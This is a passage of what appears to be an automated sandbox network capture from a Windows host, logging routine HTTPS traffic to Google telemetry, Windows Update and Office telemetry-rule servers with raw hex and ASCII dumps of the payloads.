[[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1732085294302",null,null,null,
2024-11-20 06:48:16 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=NTidXR8-8Mku9UrmOia64HjiKFK38lT94QdiGP3ok7d6jVlne6Tkg16hHqQ6XI3zvsIkCg60rhbSmyzfk29PaedeD_3ahLOIR4ibGX5-uk9AsJ-UfEJ2cAn2Aapup3JR8SxXx9rbrFiqRfej_wsqhM2_0qPPsti_mLMmxnbOu9lEJthfsqk; expires=Thu, 22-May-2025 06:48:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 20 Nov 2024 06:48:16 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 20 Nov 2024 06:48:16 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-20 06:48:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-20 06:48:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 06:48:17 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=35788 Date: Wed, 20 Nov 2024 06:48:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 06:48:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lg4yWFCfH96z2zn&MD=8g3MH63Y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 06:48:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 807ae268-27d9-4281-aafc-e3558de989a3 MS-RequestId: 3b845529-71cd-4b4e-b27e-5e1f598d297d MS-CV: ixnGTYlKwUikdF/G.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 06:48:20 GMT Connection: close Content-Length: 24490
2024-11-20 06:48:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 06:48:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:55 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064855Z-185f5d8b95c9mqtvhC1NYCghtc0000000a0g000000002e3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:55 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 06:48:55 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-1777c6cb7549x5qchC1TEBggbg000000096000000000m7y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:56 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-185f5d8b95cdh56ghC1NYCk1x400000003r0000000008gdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:56 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:56 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:48:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:56 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064856Z-r1d97b99577n4dznhC1TEBc1qw00000008f000000000cuke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
